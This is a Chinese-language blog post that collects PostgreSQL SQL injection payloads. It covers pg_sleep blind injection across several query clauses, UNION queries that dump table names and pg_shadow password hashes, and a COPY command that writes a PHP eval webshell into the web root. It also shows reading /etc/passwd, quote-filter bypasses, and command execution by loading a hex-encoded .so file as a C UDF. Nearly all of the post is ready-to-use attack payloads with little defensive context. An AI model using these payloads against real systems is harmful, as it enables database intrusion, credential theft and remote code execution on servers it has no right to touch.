postgresql注入

前言

总结一下一些注入姿势

基础语法

1.Postgres 都是大小写不敏感的

\h #查看所有的sql关键字
\? #命令行操作的帮助
\d #查看当前schema 中所有的表
\q #退出pg命令行
\d #schema.table 查看表的结构
\x #横纵显示切换
\dT+ #显示扩展类型相关属性及描述
\l #列出所有的数据库
\timing #显示执行时间
\c database_name #切换数据库
set search to schema #切换schema
explain sql #解释或分析sql执行过程

数据库之间的语言基本都是通用的,查询的时候重点关注的还是一些库的不同,例如current_database(),像like这些也是通用的s

注入点测试以及注入方法

postgresql的注入点可能会位于不同字句内

select

如果参数是整数:
pg_sleep(20); -- -
如果参数是字符串:
'||pg_sleep(20); -- -

注入方法:

1' UNION SELECT 'a';-- -'

union

'||password FROM users; -- -';

img

我们知道一般回显的是第一列,所以只需要让第一列不存在就行了

img

from

测试语句:

数字:
(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -
字符串:
(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

注入语句为

(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

最终效果为:

SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

根据SELECT username FROM staff WHERE username SIMILAR TO 'M%'返回的内容与否,它会休眠20秒,或者什么也不做。可以逐字节fuzz数据。

order by

注入点测试:是否延时

(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -

利用order by的true或者false

(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- -
  1. 如果第一个COUNT函数没有返回零,那么对于ORDER BY,我们得到最终的true或false。
  2. 正确或错误取决于内部选择(第二个查询是核心判断的)。
  3. 内部选择将休眠20秒,或者什么也不返回。
  4. 这取决于人员表中用户的首字母是否以M开头(这是SELECT username FROM staff WHERE username SIMILAR TO 'M%'部分)。

HAVING

注入点测试

如果parameter是整数:
(COUNT((SELECT pg_sleep(20)))=1); -- -

如果parameter是字符串:
t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -

此参数接受一个条件,因此我添加了一个AND运算符以使之必须都为真,然后添加了条件,该条件将使我们可以逐字节对值进行暴力破解。

t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -

同样,如果未显示输出,则可以使pg_sleep()函数的大部分时间睡眠(如果为true)20秒钟,并使用它来确定条件输出。

内置函数

current_database() //当前数据库名
session_user //会话用户
current_user //当前数据库用户
user //当前用户
version() //数据库版本

注入过程

爆库

and 1=2 union select (select current_database()),null,null--

img

获取表名,字段名

and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n--
and 1=2 union select column_name,null,null from information_schema.columns where table_name='admin' limit 1 offset n--
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名
select relname from pg_class获取表名
select oid from pg_class wehre relname='admin'获取表的oid
select attname from pg_attribute where attrelid='oid的值' 获取字段名

获取数据

nd 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0--爆数据库用户密码

读写文件

老版本写文件:
create table beach(shell text)
insert into beach values('<?php eval($_POST[c])?>')
copy beach(shell) to '/var/www/html/shell.php'
drop table beach

#PS:copy (select '<?php eval($_POST[c])?>') to '/var/www/html/shell.php'

老版本读文件:
create table beach(shell text)
copy beach(shell) from '/etc/passwd'
select * from beach limit 1 offset n读每一行

实战:
登入后:
sql>select '<%execute request("v")%>';
sql>\o c:\\wwwroot\\1.asp
URL执行:
id=1;copy (select '<?php eval($_POST[c])?>') to '/var/www/html/shell.php'

新版本:
pg_file_write(filename,text,bool)
pg_read_file(filename,pos,length)
pg_ls_dir(dirname)

绕过转义: GPC=On时候 用$quote$代替单引号
如:select pwd from admin wehre user='beach'
成:select pwd from admin where user=$x$beach$x$

绕过

/**/ = " "
;-- - 忽略尾随数据

过滤引号

使用$符号

select $$test$$ ==  SELECT $quote$test$quote$; == select 'test'

在字符串拼接的时候采取CHR()函数:

SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH';

命令执行

1.利用 libc 中的 system() 函数

2.利用Perl/Python脚本语言功能

3.利用C语言自定义函数

查看Postgresql目录

SELECT setting FROM pg_settings WHERE name='data_directory';  

查询oid

select lo_creat(-1);

oid与上面保持一致;

delete from pg_largeobject where loid=18412;  

把十六进制的so文件导入

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));  
//这里略写了十六进制so文件的完整内容

利用postgresql自带函数将大型对象导出到文件

SELECT lo_export(18412, 'cmd.so');  

建立UDF

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;  

调用udf

select sys_eval('id');  
Author

vague huang

Posted on

2022-02-07

Updated on

2022-02-07

Licensed under

Comments